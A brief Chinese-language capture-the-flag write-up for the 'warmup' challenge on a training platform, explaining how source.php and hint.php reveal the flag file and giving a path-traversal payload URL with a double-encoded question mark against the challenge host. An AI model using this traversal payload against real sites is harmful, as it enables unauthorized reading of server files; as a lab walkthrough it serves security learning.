攻防世界-warmup

原题解题思路

只有一张图片,就查看源代码,有一个source.php。

查看source.php,白名单中还有一个hint.php。

hint.php告诉我们flag的位置ffffllllaaaagggg

但是直接跳转是没用的,构造payload。

复制代码
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
相关推荐
Chockmans11 小时前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652
C2H5OH13 小时前
PortSwigger SQL注入LAB10
网络安全
汤愈韬13 小时前
IPSec工作原理——TK
网络·网络协议·网络安全·security
treesforest15 小时前
机房IP是什么?有什么危害?如何识别?
网络·数据库·python·网络协议·tcp/ip·网络安全
HackTwoHub17 小时前
AI赋能Chrome MCP × JS逆向Skill自动化JS逆向挖洞
javascript·人工智能·chrome·安全·web安全·网络安全·自动化
pencek19 小时前
HakcMyVM-Canto
网络安全
24kmaigc19 小时前
NewStarCTF2025-ssti在哪里?-ssrf与ssti注入
python·网络安全·flask·web
AIDABI20 小时前
Vulnhub-DC-9
web安全·网络安全
搞科研的小刘选手21 小时前
【南昌大学主办】第五届人工智能、物联网和云计算技术国际会议(AIoTC 2026)
人工智能·物联网·网络安全·大模型·云计算·智慧城市·云安全
WangX-西石油21 小时前
DVWA靶场上Low级别SQL注入漏洞学习
sql·网络安全